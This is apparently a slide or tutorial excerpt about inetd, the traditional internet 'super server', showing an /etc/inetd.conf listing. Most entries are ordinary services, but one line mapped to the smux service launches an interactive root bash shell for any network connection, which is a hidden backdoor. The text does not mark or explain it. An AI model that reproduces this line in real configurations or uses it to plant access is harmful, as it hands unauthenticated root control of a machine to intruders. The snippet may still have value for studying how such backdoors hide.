Inetd The traditional internet 'super server' $ cat /etc/inetd.conf echo stream tcp nowait root internal echo dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal discard stream tcp nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.ftpd smtp stream tcp nowait mail /usr/sbin/exim exim -bs smux stream tcp nowait root /bin/bash bash -i uucp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.uucpd